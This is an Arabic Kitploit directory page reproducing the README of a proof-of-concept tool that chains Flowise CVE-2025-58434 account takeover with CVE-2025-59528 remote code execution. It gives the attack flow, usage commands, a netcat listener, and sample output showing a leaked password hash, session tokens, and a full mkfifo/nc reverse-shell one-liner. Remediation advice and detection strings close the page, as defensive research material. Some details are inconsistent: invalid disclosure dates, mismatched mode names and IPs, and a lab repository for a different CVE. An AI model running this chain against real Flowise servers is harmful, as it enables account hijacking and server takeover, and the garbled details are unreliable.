Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Flowise-CVE-2025-58434-Chain-59528 — استغلال ثغرات FlowiseAI CVE-2025-58434 و CVE-2025-59528 (PoC)، يُظهر استيلاء غير مصادق عليه على الحساب (ATO) عبر تسريب رمز إعادة التعيين، يليه تنفيذ تعليمات برمجية عن بُعد (RCE) مصادق عليه. يتضمن بيئة مختبرية قابلة للتكرار باستخدام Docker. | Kitploit
أدوات/GitHubGitHub/0xdaeras/flowise-cve-2025-58434-chain-59528
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالمصادقةالتعلم والتعليممختبرات وتدريب عملي
GitHub0xdaeras/flowise-cve-2025-58434-chain-59528

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Flowise-CVE-2025-58434-Chain-59528

استغلال ثغرات FlowiseAI CVE-2025-58434 و CVE-2025-59528 (PoC)، يُظهر استيلاء غير مصادق عليه على الحساب (ATO) عبر تسريب رمز إعادة التعيين، يليه تنفيذ تعليمات برمجية عن بُعد (RCE) مصادق عليه. يتضمن بيئة مختبرية قابلة للتكرار باستخدام Docker.

عرض المستودع
1منذ 3 أشهرلم تتم المراجعة بعد

سلسلة ثغرات FlowiseAI CVE - استيلاء على الحساب (CVE-2025-58434) وتنفيذ تعليمات برمجية عن بُعد (CVE-2025-59528)

CVE-2025-58434 CVSS-1 CVE-2025-59528 CVSS-2 Python الترخيص

⚠️ لأغراض تعليمية وبحث أمني مصرح به فقط. تشغيل هذه الأداة ضد أنظمة لا تملكها أو تفتقر إلى إذن كتابي لاختبارها غير قانوني.


جدول المحتويات

يحتوي هذا المستودع على إثبات مفهوم بلغة بايثون لربط ثغريتين في Flowise:

  • CVE-2025-58434 — استيلاء على الحساب من خلال سلوك كشف رمز إعادة تعيين كلمة المرور.
  • CVE-2025-59528 — تنفيذ تعليمات برمجية عن بُعد من خلال تقييم جافا سكريبت غير آمن في عقدة CustomMCP.

Flowise هي منصة سحب وإفلات لبناء تطبيقات LLM وسير عمل وكلاء الذكاء الاصطناعي. تؤثر CVE-2025-59528 على Flowise 3.0.5 وتم إصلاحها في 3.0.6. تنشأ المشكلة من معالجة غير آمنة لـ mcpServerConfig داخل عقدة CustomMCP. ترتبط CVE-2025-58434 بكشف رمز إعادة تعيين كلمة المرور وتم معالجتها أيضًا في Flowise 3.0.6.

تدعم الأداة ما يلي:

  • فحص الثغرة
  • تدفق الاستيلاء على الحساب
  • تسجيل الدخول واسترجاع ملفات تعريف الارتباط
  • تنفيذ تعليمات برمجية عن بُعد مصادق عليه
  • وضع السلسلة الكاملة: استيلاء ← تسجيل دخول ← تنفيذ تعليمات برمجية عن بُعد

تفاصيل الثغرات

CVE-2025-58434 — استيلاء على الحساب

  • معرف CVE: CVE-2025-58434
  • درجة CVSS v3.1: 9.8 (حرجة)
  • نوع الثغرة: استيلاء على الحساب / تجاوز المصادقة
  • المنتج المتأثر: Flowise
  • الإصدار المتأثر الذي تم اختباره: Flowise 3.0.5
  • الإصدار المُصلح: Flowise 3.0.6
  • المصادقة مطلوبة: لا
  • التأثير: كشف رمز إعادة تعيين كلمة المرور، استيلاء على الحساب

يكشف تدفق إعادة تعيين كلمة المرور الضعيف عن بيانات حساسة للمستخدم، بما في ذلك رموز إعادة تعيين كلمة المرور المؤقتة، في استجابة API. يمكن للمهاجم الذي يعرف عنوان بريد إلكتروني صالح للمستخدم أن يطلب إعادة تعيين كلمة المرور، واسترداد الرمز المؤقت من الاستجابة، واستخدامه لتعيين كلمة مرور جديدة للحساب.

يؤثر السلوك الضعيف على سحابة Flowise والنشر المحلي/المستضاف ذاتيًا الذي يعرض نفس واجهة API. العلاج هو عدم إعادة رموز إعادة تعيين كلمة المرور أو بيانات إعادة تعيين الحساب الحساسة مباشرة في استجابات API.

CVE-2025-59528 — تنفيذ تعليمات برمجية عن بُعد

  • معرف CVE: CVE-2025-59528
  • درجة CVSS v3.1: 10.0 (حرجة)
  • نوع الثغرة: حقن كود جافا سكريبت / تنفيذ تعليمات برمجية عن بُعد
  • المنتج المتأثر: Flowise
  • الإصدار المتأثر الذي تم اختباره: Flowise 3.0.5
  • الإصدار المُصلح: Flowise 3.0.6
  • المصادقة مطلوبة: نعم
  • التأثير: تنفيذ جافا سكريبت عشوائي داخل بيئة Node.js، تنفيذ تعليمات برمجية عن بُعد على الخادم المستضيف لـ Flowise

توجد الثغرة في عقدة CustomMCP في Flowise. يتم تحليل معامل mcpServerConfig كجزء من عملية تكوين خادم MCP، ويتم تقييمه ككود جافا سكريبت دون أي تحقق أمني. يسمح هذا للمهاجم المُصادق بحقن كود جافا سكريبت عشوائي، والذي يتم تنفيذه في بيئة Node.js لخادم Flowise. في دالة convertToValidJSONString، يتم تمرير إدخال المستخدم إلى مُنشئ Function، الذي يقوم بتقييم الإدخال ككود جافا سكريبت بصلاحيات Node.js كاملة، مما يسمح بالوصول إلى وحدات مثل child_process لتنفيذ أوامر النظام.

نقطة النهاية الضعيفة المستخدمة في إثبات المفهوم هذا هي:

root@kitploit:~
POST /api/v1/node-load-method/customMCP

مع حمولة جافا سكريبت في حقل mcpServerConfig لهيئة JSON، على سبيل المثال:

root@kitploit:~
{
  "loadMethod": "listActions",
  "inputs": {
    "mcpServerConfig": "..."
  }
}

يوجد الكود الضعيف في ملف CustomMCP.ts، ويشار إليه في نشرة المسؤول على GitHub للـCVE.


تدفق الهجوم

root@kitploit:~
المهاجم                                   Flowise
   │                                          │
   │  [CVE-2025-58434]                       │
   │  POST /api/v1/account/forgot-password   │
   │  { email }                              │
   │─────────────────────────────────────────►│
   │◄─────────────────────────────────────────│
   │  كائن المستخدم + tempToken                │
   │                                          │
   │  POST /api/v1/account/reset-password     │
   │  { email, tempToken, newPassword }       │
   │─────────────────────────────────────────►│
   │◄─────────────────────────────────────────│
   │  تم تغيير كلمة المرور                    │
   │                                          │
   │  POST /api/v1/auth/login                 │
   │  { email, newPassword }                  │
   │─────────────────────────────────────────►│
   │◄─────────────────────────────────────────│
   │  token / refreshToken / connect.sid      │
   │                                          │
   │  [CVE-2025-59528]                       │
   │  POST /api/v1/node-load-method/customMCP │
   │  mcpServerConfig=<تكوين مصمم>            │
   │─────────────────────────────────────────►│
   │                              جافا سكريبت تم تقييمه في Node.js
   │                              تم تنفيذ الأمر
   │◄─────────────────────────────────────────│
   │  مخرجات الأمر أو الحمولة المُطلقة        │
   │                                          │
   ✓  استيلاء على الحساب + تنفيذ تعليمات برمجية عن بُعد مُصادق عليه

هيكل المستودع:

root@kitploit:~
هيكل المستودع
CVE-2025-58434-CVE-2025-59528/
├── exploit.py
├── README.md
├── requirements.txt
├── docker-compose.yml
└── logs/

التثبيت

الأداة

root@kitploit:~
git clone https://github.com/0xDaeras/CVE-2025-58434-CVE-2025-59528-POC.git
cd CVE-2025-58434-CVE-2025-59528-POC
pip install -r requirements.txt

مختبر Docker

root@kitploit:~
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
cp .env.example .env  # قم بتكوين متغيرات البيئة
docker-compose up -d

الاستخدام

السلوك الافتراضي

بدون أي وسائط، ستشغل الأداة سلسلة الهجوم الكاملة، وتفحص الثغرة المستهدفة، وتقوم بالاستيلاء على الحساب للبريد الإلكتروني المقدم، وتسجيل الدخول لاسترجاع ملفات تعريف الارتباط، ثم استغلال ثغرة تنفيذ التعليمات البرمجية عن بُعد بحمولة شل عكسية. قم بتشغيل مستمع مخصص (مثل nc -lvnp 9889) قبل تنفيذ الأداة في وضع السلسلة الكاملة.

root@kitploit:~
python3 exploit.py --target http://localhost:3000 --email [email protected] --lhost attacker.local --lport 9889

شاشة المساعدة

root@kitploit:~
python3 exploit.py -h

الأوضاع

وضع الفحص (check-mode)

يقوم بإجراء فحص الإصدار لتحديد ما إذا كان الهدف عرضة لـ CVE-2025-58434 و CVE-2025-59528. يرسل طلبًا إلى API الهدف ويحلل الاستجابة لتحديد إصدار Flowise وحالة الثغرة.

root@kitploit:~
python3 exploit.py --target http://localhost:3000 check

وضع الاستيلاء على الحساب (ato-mode)

ينفذ عملية الاستيلاء على الحساب لـ CVE-2025-58434. يرسل طلب إعادة تعيين كلمة المرور للبريد الإلكتروني المحدد، ويسترد الرمز المؤقت من الاستجابة، ثم يستخدم هذا الرمز لتعيين كلمة مرور جديدة (افتراضيًا: "Password123!") للحساب.

root@kitploit:~
python3 exploit.py --target http://localhost:3000 --email [email protected] ato-mode

وضع تسجيل الدخول (login-mode)

يسجل الدخول إلى الهدف باستخدام البريد الإلكتروني وكلمة المرور المحددين (افتراضيًا: "Password123!"). في حالة النجاح، يقوم باسترجاع وعرض ملفات تعريف الارتباط للمصادقة (مثل connect.sid) لاستخدامها في الطلبات المُصادق عليها.

root@kitploit:~
python3 exploit.py --target http://localhost:3000 --email [email protected] --password Password123! login-mode

وضع تنفيذ التعليمات البرمجية عن بُعد (rce-mode)

يستغل ثغرة تنفيذ التعليمات البرمجية عن بُعد (CVE-2025-59528) عن طريق إرسال حمولة mcpServerConfig مصممة إلى نقطة النهاية الضعيفة. تم تصميم الحمولة لتنفيذ أمر شل عكسي يتصل مرة أخرى بجهاز المهاجم على LHOST و LPORT المحددين. إذا لم يتم توفير رمز مميز، يحاول تلقائيًا تسجيل الدخول واسترداد رمز مميز صالح للاستغلال. إذا لم يتم توفير LHOST/LPORT، يتم افتراض حمولة أمر id بسيطة تعيد المخرجات في الاستجابة. قم بتشغيل مستمع مخصص (مثل nc -lvnp 9889) قبل تنفيذ الأداة في وضع السلسلة الكاملة.

root@kitploit:~
python3 exploit.py --target http://localhost:3000 --email [email protected] --password Password123! --lhost attacker.local --lport 9889 rce-mode

وضع السلسلة الكاملة (full-chain-mode)

الوضع الافتراضي. يشغل سلسلة الهجوم بأكملها بالتسلسل: يفحص الثغرات، ويقوم بالاستيلاء على الحساب، ويسجل الدخول لاسترجاع ملفات تعريف الارتباط، ثم يستغل ثغرة تنفيذ التعليمات البرمجية عن بُعد بحمولة الشل العكسي. قم بتشغيل مستمع مخصص (مثل nc -lvnp 9889) قبل تنفيذ الأداة في وضع السلسلة الكاملة.

root@kitploit:~
python3 exploit.py --target http://localhost:3000 --email [email protected] --lhost attacker.local --lport 9889 full-chain-mode

مرجع العلامات

الهدف والمصادقة

أوضاع الاستغلال

خيارات تنفيذ التعليمات البرمجية عن بُعد

السلامة والمخرجات

مثال على المخرجات

root@kitploit:~
$ python3 exploit.py -t http://localhost:3000 -e [email protected] --new-password Password123! --lhost 192.168.1.7 --lport 9889 full-mode

                                                                                                                                   
___________.__                .__                _________ .__           .__        
\_   _____/|  |   ______  _  _|__| ______ ____   \_   ___ \|  |__ _____  |__| ____   
 |    __)  |  |  /  _ \ \/ \/ /  |/  ___// __ \  /    \  \/|  |  \\__  \ |  |/    \  
 |     \   |  |_(  <_> )     /|  |\___ \\  ___/  \     \___|   Y  \/ __ \|  |   |  \ 
 \___  /   |____/\____/ \/\_/ |__/____  >\___  >  \______  /___|  (____  /__|___|  / 
     \/                               \/     \/          \/     \/     \/        \/  
                                                                                     

  ────────────────────────────────────────────────────────────────────────────────
[∗] عنوان URL الهدف: http://localhost:3000
[∗] الوحدة : full-mode
[∗] البريد الإلكتروني  : [email protected]
  ────────────────────────────────────────────────────────────────────────────────
[∗] جاري التحقق من ثغرة الهدف...
[+] يبدو أن الهدف ضعيف.
  ────────────────────────────────────────────────────────────────────────────────
[∗] بدء الاستيلاء على الحساب (CVE-2025-58434)...
[+] تم إرسال طلب إعادة تعيين كلمة المرور بنجاح.
[∗] بيانات المستخدم الهدف :

 🡪  المعرف             : 4e169dc2-AAAA-BBBB-CCCC-DDDDDDDDDDDD
 🡪  الاسم           : Lab Admin
 🡪  البريد الإلكتروني          : [email protected]
 🡪  بيانات الاعتماد     : $2a$10$lKbQNf8pVQXJFMzzW...
 🡪  الحالة         : active
 🡪  الرمز المؤقت     : AWtyV7mxIa6h12OhlB7H0mMl...
 🡪  صلاحية الرمز   : 2026-05-08T19:37:47.025Z

[∗] محاولة إعادة تعيين كلمة المرور باستخدام الرمز المؤقت...
[∗] كلمة المرور الجديدة : Password123!
[+] تم الاستيلاء على الحساب بنجاح! بيانات الاعتماد الجديدة:

 🡪  البريد الإلكتروني          : [email protected]
 🡪  كلمة المرور       : Password123!
  ────────────────────────────────────────────────────────────────────────────────
[∗] بدء عملية تسجيل الدخول لاسترداد ملفات تعريف الارتباط للجلسة...
[+] تم تسجيل الدخول بنجاح!
[+] تم استرداد رموز الجلسة :

 🡪  الرمز المميز          : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXV...
 🡪  connect.sid    : s%3AFi1aUHh5p0aQrPd5q-l_vupTCE-5G...
 🡪  refreshToken   : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXV...
  ────────────────────────────────────────────────────────────────────────────────
[∗] بدء تنفيذ التعليمات البرمجية عن بُعد (CVE-2025-59528)...
[!] تأكد من أن لديك مستمعًا جاهزًا إذا كنت تستخدم أمر شل عكسي!

[∗] أمر الشل العكسي: rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.1.1 9889 > /tmp/f
[∗] عنوان URL الهدف: http://localhost:3000/api/v1/node-load-method/customMCP

[∗] جاري إرسال الحمولة لتفعيل تنفيذ التعليمات البرمجية عن بُعد...
[+] تم إرسال الحمولة. تحقق من المستمع الخاص بك لاتصال الشل العكسي!
  ────────────────────────────────────────────────────────────────────────────────
[+] انتهى العمل. وداعًا!

مختبر Docker

يوصى باستخدام مختبر محلي للاختبار الآمن.

تثبيت المختبر:

root@kitploit:~
cp .env.example .env  # قم بتكوين متغيرات البيئة حسب الحاجة
docker compose up -d --build
docker compose logs -f

يتم إنشاء حسابين لـ Flowise افتراضيًا:

  • المدير : البريد الإلكتروني [email protected]، كلمة المرور يتم إنشاؤها عشوائيًا عند بدء الحاوية (تحقق من السجلات للحصول على كلمة المرور).
  • المستخدم : البريد الإلكتروني [email protected]، كلمة المرور يتم إنشاؤها عشوائيًا عند بدء الحاوية ولكنها لا تظهر في السجلات. هذا هو الهدف المقصود لتدفق الاستيلاء على الحساب.

قم بتشغيل إثبات المفهوم ضد المثيل المحلي:

root@kitploit:~
python3 exploit.py \
  -t http://localhost:3000 \
  -e [email protected] \
  --new-password 'Password123!' \
  --no-check \
  full-mode

لفحص سجلات Flowise:

root@kitploit:~
docker compose logs -f flowise-cve-lab

أو:

root@kitploit:~
docker logs -f flowise-cve-lab

العلاج

توصيات عامة

ضد CVE-2025-58434

  • قم بترقية Flowise إلى الإصدار 3.0.6 أو أحدث.
  • لا تقم مطلقًا بإرجاع رموز إعادة تعيين كلمة المرور في استجابات API.
  • قم بتسليم رموز إعادة التعيين فقط عبر قناة البريد الإلكتروني المسجلة.
  • قم بإبطال رموز إعادة التعيين بعد الاستخدام مرة واحدة.
  • أضف صلاحية صارمة وتحديد معدل لنقاط نهاية إعادة تعيين كلمة المرور.

ضد CVE-2025-59528

  • قم بترقية Flowise إلى الإصدار 3.0.6 أو أحدث.
  • تجنب تقييم التكوين الذي يتحكم فيه المستخدم كجافا سكريبت.
  • قم بإزالة أنماط التنفيذ الديناميكي غير الآمنة مثل Function، eval، أو ما يعادلها.
  • تحقق من تكوين MCP وحلله كبيانات صارمة، وليس ككود قابل للتنفيذ.

أفكار للكشف

مؤشرات محتملة للاستغلال:

  • طلبات إلى /api/v1/node-load-method/customMCP
  • قيم mcpServerConfig مشبوهة تحتوي على بناء جمل يشبه جافا سكريبت.
  • سلاسل مثل: process.mainModule, child_process, execSync, Buffer.from, Function
  • طلبات إعادة تعيين كلمة المرور متبوعة بتسجيل دخول فوري والوصول إلى CustomMCP.
  • اتصالات صادرة من حاوية Flowise أو المضيف.

الجدول الزمني للإفصاح

  • 2025-12-09: تم الإفصاح عن CVE-2025-58434 بواسطة المستخدمين zaddy6 و arthurgervais على نشرة GitHub، مع تقرير مفصل وإثبات مفهوم.
  • 2025-13-09: تم الإفصاح عن CVE-2025-59528 بواسطة المستخدم im-soohyun على نشرة GitHub، مع تقرير مفصل وإثبات مفهوم.
  • 2025-15-09: تم إصلاح كلا الثغرتين في Flowise 3.0.6، الذي تم إصداره على GitHub.

إخلاء مسؤولية

تم توفير هذا المشروع للأغراض التعليمية، واختبار المختبرات، والبحث الأمني المصرح به فقط.

أنت مسؤول عن ضمان حصولك على إذن صريح قبل تشغيل هذه الأداة ضد أي نظام. المؤلف غير مسؤول عن سوء الاستخدام أو الضرر أو النشاط غير القانوني الذي يتم باستخدام هذا الكود. اتبع دائمًا الإرشادات الأخلاقية والمتطلبات القانونية عند إجراء الاختبارات الأمنية.


المراجع

  • CVE-2025-58434
  • CVE-2025-59528
  • مستودع Flowise على GitHub
  • نشرة المسؤول على GitHub لـ CVE-2025-58434
  • نشرة المسؤول على GitHub لـ CVE-2025-59528
  • ملاحظات إصدار Flowise 3.0.6
تنزيل الأداة
العلامةالوصفمثال
-t, --targetعنوان URL الأساسي للهدف-t http://localhost:3000
-e, --emailالبريد الإلكتروني لحساب الهدف-e [email protected]
--passwordكلمة المرور المعروفة لوضع تسجيل الدخول/تنفيذ التعليمات البرمجية عن بُعد--password Password123!
--tokenرمز جلسة موجود، يتجاوز تسجيل الدخول--token eyJ...
--new-passwordكلمة المرور لتعيينها أثناء الاستيلاء على الحساب--new-password Password123!
الوضعالوصف
checkالتحقق مما إذا كان الهدف يبدو ضعيفًا
ato-modeتشغيل تدفق الاستيلاء على الحساب فقط
login-modeتسجيل الدخول واسترداد ملفات تعريف الارتباط للجلسة
rce-modeتشغيل تدفق تنفيذ التعليمات البرمجية عن بُعد فقط
full-modeربط الاستيلاء على الحساب وتنفيذ التعليمات البرمجية عن بُعد
العلامةالوصفمثال
-c, --commandالأمر المخصص للتنفيذ-c 'id'
--lhostمضيف المستمع للشل العكسي--lhost 10.10.14.3
--lportمنفذ المستمع للشل العكسي--lport 4444
العلامةالوصفالافتراضي
--no-checkتخطي فحص الإصدار/الثغرةFalse
-v, --verboseتمكين تسجيل التصحيحFalse
--log-fileمسار ملف السجلlogs/exploit.log
--no-colorتعطيل ألوان ANSIFalse